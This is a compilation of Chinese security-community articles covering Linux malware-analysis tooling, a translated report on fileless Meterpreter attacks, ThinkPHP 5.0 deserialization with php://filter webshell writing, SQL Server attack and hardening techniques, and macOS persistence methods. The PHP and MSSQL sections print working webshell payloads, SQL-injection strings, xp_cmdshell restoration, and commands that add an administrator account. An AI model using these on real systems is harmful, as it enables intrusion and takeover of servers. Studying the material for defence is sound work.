.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
前两行显示了Linux样本使用的库，中间部分可以看到编译器信息为GCC，后面部分为程序各部分的名称。
**（5）nm命令**
“nm”命令可以用来列出目标文件的符号清单（.dynsym节、.symtab节）。
**（6）objdump工具**
分析Linux样本的反汇编代码，最常见的分析工具是IDA，如果Linux样本代码比较简单，也可以使用“objdump”工具：
**（7）hexdump工具**
查看Linux样本的16进制数据，可以使用“hexdump”工具：
### 2．动态分析
Linux平台提供了多种工具支持对Linux样本进行动态分析，我们可以通过调用ltrace和strace对程序调用进行监控；ltrace能够跟踪进程的库函数调用，它会显现出哪个库函数被调用，而strace则是跟踪程序的每个系统调用。
**（1）ltrace**
用ltrace跟踪Linux样本，如下：
我们看到程序调用了puts库函数做了输出，同时0x804840b即是反汇编代码中对应函数地址；
**（2）strace**
用strace跟踪Linux样本，如下：
我们看到程序调用write()系统调用做了输出，同时strace还把程序运行时所做的系统调用都打印出来了。
**（3）ftrace**
除了ltrace和strace，我们还可以使用基于ptrace编写的相关分析工具，例如：ftrace工具；（[https://github.com/elfmaster/ftrace）](https://github.com/elfmaster/ftrace%EF%BC%89)
### 3．动态调试
**（1）GDB**
在Linux中调试样本，最常见的调试方法就是使用GDB进行调试，GDB调试可以分为两种情况：
a.调试有调试信息的程序；（使用gcc编译加-g选项）
b.调试没有调试信息的程序；（针对Linux恶意程序的分析，基本都是采用没有调试信息的调试方式。）
有调试信息的程序，如下：
无调试信息的程序，如下：
在对无调试信息的Linux样本进行分析时，我们首先需要将反汇编语法设置为intel，因为GDB的默认汇编语法是AT&T格式，使用起来可能会有点不习惯；
语法如下：
set disassembly-flavor intel：将汇编指令格式设置为intel格式
针对部分Linux样本在运行过程中，会执行fork系统调用，我们还可以通过设置follow-fork-mode允许我们选择程序在执行fork系统调用后是继续调试父进程还是调试子进程。其语法如下：
set follow-fork-mode parent：程序执行fork系统调用后调试父进程
set follow-fork-mode child：程序执行fork系统调用后调试子进程
在进入正式调试前，我们可以使用“disass”命令查看指定功能的反汇编：
然后通过“b main”、“r”、“display /i $pc”命令运行被调试的程序：
b main：在main函数处下断点；
r：运行被调试的程序；
display /i $pc：每次程序中断后可以看到即将被执行的下一条汇编指令；
在调试过程中，通过执行“i r”命令获取寄存器信息：
在调试过程中，通过执行“si”、“ni”命令进行调试：
si：相当于其它调试器中的“Step Into (单步跟踪进入)”；
ni：相当于其它调试器中的“Step Over (单步跟踪)”
在进入函数前，可以通过“x /10xw $esp”命令查看寄存器信息：
GDB调试Linux木马常见命令如下：
**（2）IDA远程调试**
除了使用GDB进行Linux样本调试外，我们还可以使用IDA远程调试对Linux样本进行分析。使用IDA远程调试比使用GDB调试更方便，分析效率更高，但还是有一些局限性，例如：
对具有fork调用的Linux样本，无法设置后续调试模式；
若调试指令运行过快，有时会导致数据通信出错，随即会导致调试流程出错；
IDA远程调试很简单，网上也有很多教程资料，因此这里就简单描述一下步骤即可：
1．用IDA打开Linux样本；
2．在IDA的安装路径（IDA 7.0\dbgsrv\）里找到linux_server或linux_server64，并在Linux环境中运行；
3．在IDA中，选择菜单栏>Debugger>Select a debugger(或者是switch debugger)>选择Remote linux
debugger>ok；
4．设置各种参数(调试文件路径，远程Linux虚拟机的ip地址及端口)
5．在IDA中下断点；
6．在IDA中开始调试；
## 五、linux内核分析
GDB调试和IDA远程调试方法只适用于用户态调试，如果需要调试内核数据，则需要寻求专门的内核调试方法。
使用IDA+Vmware进行内核调试是目前我觉得最方便的分析方法；因此在这里以redhat5.5_i386_2.6.18主机作为案例进行简单演示操作。
### 1．修改vmx文件
首先，将虚拟机关机，然后根据虚拟机的不同系统位数，在vmx文件末尾添加以下代码：
32位：
debugStub.listen.guest32 = “TRUE”
debugStub.hideBreakpoints = “TRUE”
debugStub.listen.guest32.remote = “TRUE”
monitor.debugOnStartGuest64 = “TRUE”
64位：
debugStub.listen.guest64 = “TRUE”
debugStub.hideBreakpoints = “TRUE”
debugStub.listen.guest64.remote = “TRUE”
monitor.debugOnStartGuest64 = “TRUE”
### 2．开启虚拟机
直接将虚拟机系统开机即可；
### 3．IDA连接
如果是32位系统，则使用ida.exe，在IDA界面中点击：【Debugger】->【Attach】->【Remote GDB
debugger】，连接localhost主机的8832端口。
如果是64位系统，则使用ida64.exe，连接localhost主机的8864端口。
32位系统：
64位系统：
### 4．用户态与内核态的切换
IDA连接成功后，虚拟机系统将中断在内核地址中，此时即可对内核中的恶意程序进行断点调试。
若需要对恶意程序的用户态代码进行调试，只需在IDA中的以下两个按钮间进行切换即可：
通过这种方法，我们即可实现对Linux恶意程序的用户态代码、内核态注入代码的全面分析。
### 5．查看内核代码
在Linux系统中，/boot/System.map包含了整个内核的所有符号；内核地址是从0xC0000000开始的。
### （1）查看Linux系统调用表
在Linux主机中，通过查看System.map文件，可以获取系统调用表地址：
在IDA的Hex View界面中，可以查看Linux主机中系统调用表中的所有系统调用地址：
### （2）查看系统调用函数代码
通过查看System.map文件，可以获取系统调用函数的地址，例如，sys_read函数的内核地址为0xc04765aa；
在IDA中，直接跳转至对应地址处即可查看sys_read函数的内核代码。
### （3）HOOK
病毒木马程序在执行过程中，可通过修改系统调用表中对应系统调用函数的函数地址，即可实现对系统调用函数的HOOK，例如：修改0xC06224F4处的数据。
## 六、总结
在对Windows恶意样本进行分析的时候，有大量的成熟的界面化工具可以供我们使用；然而在对Linux恶意样本进行分析的时候，此类工具相对较少，并且大部分工具均是命令行操作，因此需要我们熟悉各种命令，才能提升我们的分析效率，达到事半功倍的效果。
在这片文章中，笔者只是对Linux恶意样本的分析方法进行了简单的梳理，后续笔者还会对Linux恶意样本的病毒技术进行梳理，还望大家多多指教。 | 社区文章 |
# 【技术分享】基于内存的无文件恶意软件感染超过140家银行、电信和政府企业(附检测方法)
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/blog/research/77403/fileless-attacks-against-enterprise-networks/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：190RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:linwei@360.cn)，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**摘要**
网络犯罪份子使用恶意软件攻击了超过40个国家，有超过140家遍布全球的企业受到了攻击，包含银行、电信和政府组织，并偷取了密码和商业数据。从受害计算机的硬盘中无法发现该恶意软件，因为它隐藏在系统的内存中，使它在系统中几乎“不可见”，当目标机器重新启动后，恶意软件的所有痕迹几乎都会消失。
**描述**
通常，在事件响应中，一个安全专家团队需要追踪攻击者在计算机中留下的踪迹。这些踪迹会存储在内存、日志、硬盘里。通常，内存中的痕迹数据在计算机重启后就会消失。日志中的痕迹有可能可以存几个月，随着时间的过去，它们有可能会被覆盖。硬盘存储了很多取证需要的数据，只要数据没有损坏，取证专家就可以提取数据。这就是为什么攻击者在数据采集过程中会使用反取证技术(或简单的[SDelete](https://technet.microsoft.com/en-us/sysinternals/sdelete.aspx)工具)和基于内存的恶意软件来隐藏他们的活动。运用这种技术的一个好的例子是[Duqu2](https://cdn.securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf)，它将恶意软件放在硬盘，并启动恶意MSI安装包后，会使用文件重命名移除安装包，并将它带有载荷的一部分留在内存中。这就是为什么内存取证对分析恶意软件和它的功能很重要的原因。攻击者在网络中安装隧道是攻击的另一个重要部分，对此，网络犯罪份子可能使用[PLINK](http://www.chiark.greenend.org.uk/~sgtatham/putty/)，Duqu2使用了一个[特殊的驱动程序](https://securelist.com/blog/research/70641/the-duqu-2-0-persistence-module/)。但所有这些方法还是不安全，现在，我们发现了攻击者使用Windows标准工具，如“[SC](https://technet.microsoft.com/nl-nl/library/cc754599\(v=ws.10\).aspx)”和“[NETSH](https://technet.microsoft.com/en-us/library/bb490939.aspx)”，来实现基于内存的恶意软件和隧道，这令我们非常激动，并印象深刻。
这种威胁最初是由银行的安全团队发现的，他们在一个域控制器的物理内存中探测到了Meterpreter代码。卡巴斯基实验室产品检测这种威胁的名称是：MEM:Trojan.Win32.Cometer和MEM:Trojan.Win32.Metasploit。在探测到这个攻击行为后，卡巴斯基实验室参与了这次取证分析，发现使用了PowerShell脚本，并包含在了Windows注册表中。另外，还发现攻击者利用了NETSH工具，它被用于建立受害者主机到攻击者服务器的通信隧道。
我们知道Metasploit框架可能被用于产生下面的脚本：
这个脚本可以分配内存、解析WinAPIs，并下载Meterpreter程序到内存中。该脚本可以通过下面的命令产生：
在成功产生脚本后，攻击者使用SC命令将恶意服务安装到目标主机中。可以使用下面示例中的命令：
在安装恶意服务后，接下来，还需要设置一个隧道，用于从远程主机进入被感染的机器，例如，使用下面的命令：
使用SC和NETSH命令需要本地和远程主机的管理员权限。使用恶意PowerShell脚本还需要提升权限，并执行策略修改。为了实现这个目的，攻击者使用[Mimikatz](https://github.com/gentilkiwi/mimikatz)抓取了具有管理员特权的服务帐户的用户凭证。
超过140家遍布全球的企业受到了攻击，包含银行、电信和政府组织。
1.攻击者使用漏洞利用工具，通过一个未打补丁的漏洞入侵目标用户。
2.攻击者结合Meterpreter、Powershell感染其它计算机。
3.代码隐藏在内存、注册表中，在硬盘里找不到任何恶意文件，收集系统管理员的各种口令信息。
4.利用WINDOWS中的NETSH标准工具建立到C2服务器的隧道，使攻击者可以远程访问。
5.在计算机重启后，几乎所有踪迹都没有了。
6.缺乏恶意软件踪迹，使探测和调查变得很困难。
**特征**
通过分析被感染机器的内存镜像和注册表，我们恢复出了Meterpreter和Mimikatz。这些工具被用于收集系统管理员密码，并远程管理被感染的主机。
为了从内存中获取攻击者使用的Powershell载荷，我使用了下面的BASH命令：
结果是下面的载荷：
**受害人**
通过卡巴斯基安全网络，我们在注册表中发现超过140个感染了恶意PowerShell脚本的企业网络，被标记为Trojan.Multi.GenAutorunReg.c和HEUR:Trojan.Multi.Powecod.a。下面这张表显示出了每个国家的感染量：
但是我们不能确认这些感染是否属于同一个攻击者。
**属性**
在我们分析受影响的银行期间，我们了解到攻击者使用了多个三级域名，分别属于.GA，.ML，.CF顶级域名。使用这些域名的动机是因为它们是免费的，在域名到期后没有WHOIS信息。考虑到攻击者使用了Metasploit框架、WINDOWS标准工具、没有WHOIS信息的未知域名，这使得找到攻击者属性几乎是不可能的。
**结论**
类似本文中的技术将会变的越来越普遍，特别是针对银行业的相关目标。不幸的是，结合不同的技巧，并使用常见工具，会使得检测非常困难。
实际上，检测这些攻击只能通过内存、网络、和注册表。
在成功消除威胁后，更换密码非常有必要。这个攻击说明了无恶意软件样本对成功入侵网络很有帮助，同时使用系统标准的和开源的工具将有利于隐藏攻击者属性。
本此攻击的更多细节和它们的具体目标将提交到[安全分析师峰会](https://sas.kaspersky.com/)，将在2017年4月2号到6号在圣马丁举办。
有关此攻击的更多信息可为卡巴斯基APT情报服务的客户提供。
**附录1-攻击指标**
为了找到攻击者使用的主机，并在主机上查找到刚才描述的用于远程连接和密码收集的技术，请分析一下注册表中下面的位置：
在注册表未分配的空间中，有可能发现下面的痕迹：
请注意，这些IP是从我们参与的IR安例中提取的，因此最终攻击者可以使用任何其它的IP。这些痕迹表明攻击者使用了作为恶意服务的PowerShell脚本，并使用NETSH系统标准工具建立了通信隧道。
**附录2-Yara规则** | 社区文章 |
# 前言
闲着无聊看了看 TP5.0 的反序列化链，突然发现网上的大部分链最后用的 `filename`
都是这样的：`php://filter/write=string.rot13/resource=<?cuc
@riny($_TRG[_]);?>/../a.php`
因为某些原因需要在 `filename` 上做些手脚，并且 `filename` 和 `value` 的值基本是一样的，我们可以假设他是这样的：
<?php
$filename = "php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>
在 `windows` 下运行（`wampserver` ）：
经过测试发现好像是问号（`?`）的问题。因为这样是可以的：
<?php
$filename = "php://filter/write=string.rot13/resource=<script language=php>phpinfo();</script>/../../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>
但是我决定直面一下这个问题，研究研究还有什么别的方法可以以 `<?` 开头写一个 `shell` 。
**这里就不讲 TP5.0 链的细节了，大哥们的文章都说的很详细了**
# 编码绕过
## base64
首先想到的当然是 `base64`，一开始我很好奇为什么不用 `base64` 编码写 `shell` ，于是我测试了一下：
<?php
$filename = "php://filter/write=convert.base64-decode/resource=PD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>
但是这样也会报错：
这是为什么呢，因为 `等于号` ，可能是 `base64` 遇到等于号时就停止解析了，这里的 `write=` 是可以去掉的，也就是说：
`php://filter/convert.base64-decode/resource=a.php`
这样的文件名是可以的，但是 `resource=` 去掉就会报错。
## strip_tags + base64
那么也就是说我们把等于号去掉就可以了，于是我人肉 fuzz 了一下，发现了个特殊一点的文件名：
<?php
$filename = "php://filter/string.strip_tags|convert.base64-decode|</resource=>aaPD9waHAgZXZhbCgkX0dFVFsxXSk7ICAgPz4/../a.php";
$value = "<?php exit(); ?>".$filename;
file_put_contents($filename, $value);
?>
我在 `/resource` 前加了个 `<`，然后在 `=` 后也加了个 `>`，这样会先触发 `strip_tags` 把 `resource=`
去掉，剩下就可以正常的解码了，
虽然会报错说没有找到 `<` 这个过滤器，但是是 `warning`，文件内容可以正常写入：
本来故事到这差不多结束了，但是这样在 `thinkphp` 还是不行，因为即使是 `warning` 也会被 `tp`
捕捉然后结束程序，于是只能寻找下一个方法。
# 控制文件名
跟过 `tp5.0` 反序列化的师傅们可能知道这个函数：
简单说一下，就是这里的 `$name` 就是上面代码里的文件名，然后正常来说他会到 `else` 的语句里，然后 `$value`
就是我们传进去的文件名了，最后又会进入一次 `set` 函数，这个 `set` 函数就是写文件的地方。
但是我们能不能让他进入 `if` 里呢？
理论上是可以的，但是在跟 `has` 函数会发现个问题：
这里的 `$filename` 就是那一长串 `php://filter/....` 这些。这里是过不了 `is_file` 的。
我们现在假设一下这里没有 `is_file`，但是 `getCacheKey` 获取的文件名，是以 `.php`
结尾的，所以我们还是会面临一个问题，就是我们没有可控的 `php` 文件，此时想到如果我们可以写一个缓存文件就好了。
有的，刚好找到一条：
在正常的链中会进入 `class Model` 的 `toArray` 函数，这里面有一句：
跟进去：
这里的 `$modelRelation` 是可控的，把他设置成 `class HasOne` 即可，进入这个类：
把这个 `query` 设置成 `class Query`，这里面需要设置一些数据的参数，我们可以控制成自己服务器的，然后返回特定的值，进入 `find`
函数，里面有几句话:
这里的 `$result` 是可控的，是执行了一段 `sql`
语句，从数据库中返回的值，只需要在数据库中插入相应的值即可，这里链接的还是我们自己设置的服务器，所以很好控制。
但是相反的，进入了这里以后， `file_put_contents` 这个函数的 `$filename` 就是不可控的，所以还是会被开头的 `exit()`
结束掉程序。
具体的细节就不展开来讲了。否则篇幅就过于冗长了
# 最简单的方法
好了，无用的分析就到这里，因为一开始没看到前面提到的 `file_exists` 所以浪费了很多时间。
既然那个方法不行，我们看看还有没有别的方法。
正常的链回到 `class Output` 的 `writeln` 函数：
然后到 Memcache的 ：
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}
这也就是为什么第二个参数是不可控的， **但是这里的第一个参数可控** 。
这里调用了 `set`，然后正常的路是直直的走向了 `class File` ，然后触发 `file_put_contents`，现在我们绕一下，我们走到
`class think\cache\driver\Memcached`
这里也有 `set` 函数，第一次进来时 `$name` 可控，但是 `$value` 不可控，这里我们把 `$this->handler` 设置成
`class File`，然后里面的 `filename`
也是可以控制得，前缀直接控制成：`php://filter/conver.base64-decode/resource=`
不需要花里胡哨的东西了。
首先会正常写入一次文件，进入到下面的 `setTagItem` 函数，这里的 `$key` 就是我们传入的 `$name`：
`setTagItem` 上面其实有了，再贴出来一次：
protected function setTagItem($name)
{
if ($this->tag) {
....
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) { //返回 false，进入 else 语句
.....
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
看到这里相当于直接把 `$name` 代入到了 `set` 的第二个参数了。然后又回去一次，也就是上面的图，这次我们的 `value`
就是我们可控的值了。。
# 总结
可能有点乱，因为反序列化链如果要搞懂还是要自己跟入一下会比较清楚，这里也算是记录一下思考的过程。中间可能有错误，还请师傅们多指正，一起学习。 | 社区文章 |
# SQLServer攻击姿势与防护总结
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01
之前也算是负责一个渗透项目，基本上都是MSSQL的服务器，这里写一下当时的渗透过程中用到的一些技巧之类的吧，各路大佬轻喷。
## 0x02
### 2.1 简介
从上次的项目里遇到的基本上都是ASP.NET + SQL Server 架构的服务器，因为MSSQL 只能运行在 **Windows**
平台上，如果攻击者获取了sa账号，就能够较为方便的获得高权限用户。
**MSSQL权限分类** (2008)
Dbcreator：这个服务器角色的成员可以创建、更改、删除和还原任何数据库。
Diskadmin：这个服务器角色用于管理磁盘文件，比如镜像数据库和添加备份设备。Processadmin：SQL Server
2008能够多任务化，也就是说可以通过执行多个进程做多个事件。
Securityadmin：这个服务器角色的成员将管理登录名及其属性。他们可以授权、拒绝和撤销服务器级权限。也可以授权、拒绝和撤销数据库级权限。另外，它们可以重置SQL
Server 2008登录名的密码。
Serveradmin：这个服务器角色的成员可以更改服务器范围的配置选项和关闭服务器。Setupadmin：为需要管理链接服务器和控制启动的存储过程的用户而设计。这个角色的成员能添加到setupadmin，能增加、删除和配置链接服务器，并能控制启动过程。
Sysadmin：这个服务器角色的成员有权在SQL Server 2008中执行任何任务。
Public: 有两大特点，第一，初始状态时没有权限；第二，所有的数据库用户都是它的成员。
固定数据库角色：
（数据库用户权限）
微软提供了9个内置的角色，以便于在数据库级别授予用户特殊的权限集合。
db_owner: 该角色的用户可以在数据库中执行任何操作。
db_accessadmin: 该角色的成员可以从数据库中增加或者删除用户。
db_backupopperator: 该角色的成员允许备份数据库。
db_datareader: 该角色的成员允许从任何表读取任何数据。
db_datawriter: 该角色的成员允许往任何表写入数据。
db_ddladmin：该角色的成员允许在数据库中增加、修改或者删除任何对象（即可以执行任何DDL语句）。
db_denydatareader: 该角色的成员被拒绝查看数据库中的任何数据，但是他们仍然可以通过存储过程来查看。
db_denydatawriter:
像db_denydatareader角色，该角色的成员被拒绝修改数据库中的任何数据，但是他们仍然可以通过存储过程来修改。
db_securityadmin: 该角色的成员可以更改数据库中的权限和角色。
public：在SQL Server
2008中每个数据库用户都属于public数据库角色。当尚未对某个用户授予或者拒绝对安全对象的特定权限时，这该用户将据称授予该安全对象的public角色的权限，这个数据库角色不能被删除。
### 2.2 sa口令获取
**2.2.1 源码泄露**
比如我之前遇到过的页面配置文件泄露，暴露了SQL Server服务器地址
git文件泄露，www.zip等等
**2.2.2 端口嗅探**
使用 **Cain** 等工具进行1433端口嗅探，可能能够获取密码
**2.2.3 暴力破解**
使用Hydra等工具直接对sa账户的密码进行爆破，所以说弱口令真的是很伤啊……
**2.2.4 注入**
判断是否是MSSQL
报错
asp?id=49 and user>0
产生报错信息，还能拿到数据库的用户名，岂不美哉
系统表回显(IIS 报错关闭的情况)
asp?id=49 and (select count() from sysobjects)>0
asp?id=49 and (select count() from msysobjects)>0
如果第一条返回页面与原页面相同，第二条与原页面不同，几乎可以确定是MSSQL，否则便是Access
常用语句
权限判断
and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
;declare @d int //判断MsSQL支持多行语句查询
and user>0 //获取当前数据库用户名
and db_name()>0 //获取当前数据库名称
and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
注入过程
* 查库
and 1=(select top 1 name from master..sysdatabases where dbid>4) //（>4 获取系统库 <4 获取用户库）
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> ‘1’) //查询下一个数据库
* 查表
?id=1 and 1=(select top 1 name from sysobjects where xtype=’U’ and name <> ‘threads’ and name <> ‘users’ )
* 列名
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = ‘users’) and name <> ‘uname’ )
* 拿数据
?id=1 and 1=(select top 1 uname from users)
### 2.3 xp_cmdshell
**2.3.1 关于**
**xp_cmdshell:** 扩展存储过程将命令字符串作为操作系统命令 shell
执行，并以文本行的形式返回所有输出。因为存在安全隐患，在SQLServer 2005后默认设置为关闭。
exec xp_cmdshell ‘whoami’
**存储过程** ：存储过程(Stored Procedure),是一组为了完成特定功能的SQL 语句
可见[详解](https://www.w3cschool.cn/sql/sql-storage.html)
> 消息 15281，级别 16，状态 1，过程 xp_cmdshell，第 1 行
> SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’
> 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用
> ‘xp_cmdshell’ 的详细信息，请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
产生错误信息，但是如果我们拥有sa账户，或者存在sa权限用户的注入点，就能够直接开启组件
**2.3.2 恢复存储过程**
从SQL Server 2008开始，xp_cmdshell就是默认关闭状态，不过对于SA权限的用户来说，这些都是可恢复的。
* 删除或恢复 sp_addextendedproc
/ 删除 /
drop procedure sp_addextendproc
drop procedure sp_oacreate
exec sp_addextendedproc
/ 恢复 /
dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)
* 恢复 sp_oacreate 和 xp_cmdshell
exec sp_addextendedproc xp_cmdshell , @dllname = ‘xplog70.dll’
之后就是命令执行提权了
/* 没有任何安全措施的情况下 */
net user siweb$ siweb /add
net localgroup administrators siweb$ /add
直接就能连入3389了，再用mimikatz跑一下原管理员账号密码，成功拿下一台服务器
### 2.4 提权
事实上，我自己感觉从08server开始，提权才是最麻烦的事情
**2.4.1 普通账户**
从sql注入到网站中，如果只是普通账户（Public权限），当然数据是可以拿到，但是不能执行系统命令，可以通过备份数据库的方式进行写入webshell，再根据
服务器中的其他东西，去试着提权。
还有一种方式，拿到加密后的SQL Server sa账户密码，使用johnny爆破
select name,master.sys.fn_sqlvarbasetostr(password_hash) from master.sys.sql_logins
<http://www.openwall.com/john/j/john180j1w.zip>
<http://openwall.info/wiki/_media/john/johnny/johnny_2.2_win.zip>
成功后可以使用sa权限登入账户
**2.4.2 Sa**
sa账户提权，基本上是走系统命令执行的路子，开启存储过程，执行命令，建议使用 SQLTOOLS
**不使用xp_cmdshell 提权**
use msdb;
exec sp_delete_job @job_name='abc82'
exec sp_add_job @job_name='abc82'
exec sp_add_jobstep @job_name='abc82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='cmd.exe /c whoami>c:T3tmp.log'
exec sp_add_jobserver @job_name = 'abc82',@server_name = N'(local)'
exec sp_start_job @job_name='abc82'
if object_id('siweb3file') is not null drop table siweb3file
create table siweb3file (filev nvarchar(4000) null)
BULK INSERT siweb3file FROM 'c:T3tmp.log'
SET NO_BROWSETABLE ON
select * from siweb3file
SET NO_BROWSETABLE OFF
select * from siweb3file
if object_id('siweb3file') is not null drop table siweb3file
### 2.5 防护
1. 防火墙限制ip访问
2. 修改mssql端口
3. 单独数据库单独用户(PUBLIC角色)，给dbo权限
4. 禁用掉一些危险的存储过程
5. SA账户禁用或设置强密码
6. mssql使用NETWORK SERVICE账号
7. 配置数据库磁盘权限，数据库和网站目录外设定SA账户都不能写入文件
## 0x03
[不安全的TDS协议配置：一种高级的SQL Server中间人攻击方式](https://www.anquanke.com/post/id/91750)
[【译】攻击SQL Server的CLR库](https://xz.aliyun.com/t/60)
[PowerUpSQL – 攻击 SQL Server 的 PowerShell
工具包](https://github.com/NetSPI/PowerUpSQL)
[通过SQL
Server与PowerUpSQL获取Windows自动登录密码](https://www.anquanke.com/post/id/85526)
[Hacking SQL Server Database Links: Lab Setup and Attack
Guide](https://blog.netspi.com/wp-content/uploads/2017/05/Technical-Article-Hacking-SQL-Server-Database-Links-Setup-and-Attack-Guide.pdf)
[SQL Server Local Authorization
Bypass](http://www.netspi.com/blog/2012/08/16/sql-server-2008-local-administrator-privilege-escalation/) | 社区文章 |
本文分析研究人员之前见过的macOS恶意软件驻留技术。
不管是加密货币挖矿、广告恶意软件劫持、或监听用户的恶意软件都有一个共同点：就是需要在终端上实现驻留。在苹果macOS平台上，攻击者有多种方法来实现驻留。下面对研究人员之前见过的macOS恶意软件驻留技术进行分析。
# LaunchAgent
在macOS上实现驻留的最常见方式是通过LaunchAgent。Mac用户在Library文件夹下都有一个LaunchAgent文件夹，用来指定用户每次登陆后要执行的代码。系统还有一个自己的`LaunchAgents`文件夹。因为该文件夹是由于macOS自己管理的，默认请求下恶意软件不会进入该文件夹。
LaunchAgents以`property list file`的形式来指定要执行的文件，或包含要执行的命令。
因为用户LaunchAgents安装过程中不需要权限，因此这是最简单也是最常见的驻留方式。但在OSX 10.7
Lion之后版本，用户默认情况下隐藏了父Library文件夹，使攻击者更加容易地可以隐藏代理。
用户可以通过手动检查的方式来找出该库，但企业安全解决方案应当监控文件夹的内容，并对写入该位置的恶意进程进行拦截或发出告警。
# LaunchDaemon
LaunchDaemons只存在于计算机或系统级，从技术上讲是为驻留代码预留的，因为不与用户交互，因此对恶意软件来说是完美的。攻击者将daemon写入`/Library/LaunchDaemons`需要管理员权限。因为大多数mac用户都是管理员用户，所以习惯上会在请求认证时为软件提供认证来安装组件。在下图中，计算机被三个不同的、恶意LaunchDaemons感染了。
因为LaunchDaemons运行在开始菜单中，因此安全软件意识到什么daemon在运行，以及什么时间写新的daemon非常重要。作为System
LaunchAgents，System LaunchDaemons是受SIP保护的，所以首先要监控的位置是`/Library/LaunchDaemons`。
不要认为你认识的标记就不是恶意的。一些指向未签名代码的合法LaunchDaemons可能会被一些恶意代码所替换。比如，Wireshark就说使用了`LaunchDaemon
/Library/LaunchDaemons/org.wireshark.ChmodBPF.plist`
执行未签名代码的路径为：
`/Library/Application Support/Wireshark/ChmodBPF/ChmodBPF`
苹果自己还使用并不会立刻清除的LaunchDaemon：
`/Library/LaunchDaemons/com.apple.installer.cleanupinstaller.plist`
它指向了可能会被恶意代码替换的 /macOS Install Data 文件夹中的可执行文件。
有了全新后，攻击者就可以修改这些`property
plist`的程序参数或指向的可执行文件来获取驻留。因为这些程序会以root权限运行，安全解决方案好像也没有什么用处。
# Profiles
Profiles一般是组织使用，允许IT管理员管理用户机器，但被恶意软件作者误用了。随着Profiles通过邮件或网站传播，诱使用户安装只是社会工程的一个元素。
配置profiles使用户使用特定的浏览器设置、DNS代理设置、VPN设置。许多其他的payload都有可能使其被滥用。
用户也可以在System Preferences Profiles面板查看Profiles，管理员也可以枚举`/Library/Managed
Preferences`文件夹来查看Profiles。但在profiles没有安装的系统中是不会存在`System Preferences
Profiles`面板和文件夹的。
# Cron
恶意软件开发者还盯上了有漏洞的cron作业。虽然苹果已经宣布新的cron作业要求用户交互在10.15
Catalina上安装，但这并不影响攻击者使用它作为一种驻留的方法。当用户已经被诱使安装了恶意软件，那么用户提示就已经不是一种有效的安全措施了。AdLoad
和Mughthesec恶意软件就使用恶意cron作业来实现驻留。
# Kexts
内核扩展被合法软件广泛用于实现驻留，比如PUP软件MacKeeper。开源的keylogger
logkext也已经出现很多年了，但kexts并不是恶意软件常用的方法，因为相对来说比较难创建、缺乏隐蔽性、很容易被移除。
# 如何找到驻留的Login Items
苹果对Login Items做出的修改对恶意软件驻留带来了新的讲话。Login Items很容易就可以通过System
Preferences工具进行枚举，但苹果的一个新机制可以使安装的应用程序在登陆时自启动，即将Login
Item加入到bundle中。虽然该机制的目的是让合法开发者通过app的用户接口位logIn项目提供控制，广告恶意软件和PUP软件开发人员滥用该机制作为一种驻留机制，因为对用户来说，可靠地枚举出哪些应用含有login
item是很难的。
对普通用户来说枚举所有的Login Items很不简单，但对admin来说就很简单了，只需要分析下面的文件就可以了:
`~/Library/Application
Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm`
# AppleScript & Friends
对AppleScript来说，Apple最有用的工具“swiss army knife”可以提供一些驻留的方法。第一个是使用Folder
Actions，允许攻击者执行代码，甚至可以远程读取内容到内存中。这是一种聪明的无文件恶意软件攻击方法。
还有一种方法是利用Mail规则来完成驻留，具体是发送给受害者一个精心伪造的邮件来触发代码。该方法是静默的，而且可以绕过许多监测工具。防护者可以通过分析`ubiquitous_SyncedRules.plist`文件和`SyncedRules.plist`文件来检查是否有可疑的mail规则。比如，快递的bash脚本`grep
-A1 "AppleScript" ~/Library/Mail/V6/MailData/SyncedRules.plist`
可疑枚举所有调用AppleScripts的Mail规则。然后检查是否有恶意内容。
# Also Ran
`rc.common`和`launchd.conf`已经不支持在macOS上运行了，在10.9
Mavericks版本之后就移除了对StartupItems的支持。纵然如此，一些老旧的nix
tricks仍然在被使用。包括使用`jobs`的`periodics`和loginhooks，以及emond服务。
# Periodics
`Periodics`是常被用于驻留的系统脚本，可以计划每天、每周和每月运行。Periodics的内容保存在文件夹`etc/periodic`中。
列出每个子文件夹的内容可以看出`periodics`的标准集。如果没有发现其他内容，那么这些内容都是可疑的，应该对其进行检查。
如下图所示，`uptime`脚本可以在没有用户交互或通知的情况下每天运行。
# LoginHooks和LogoutHooks
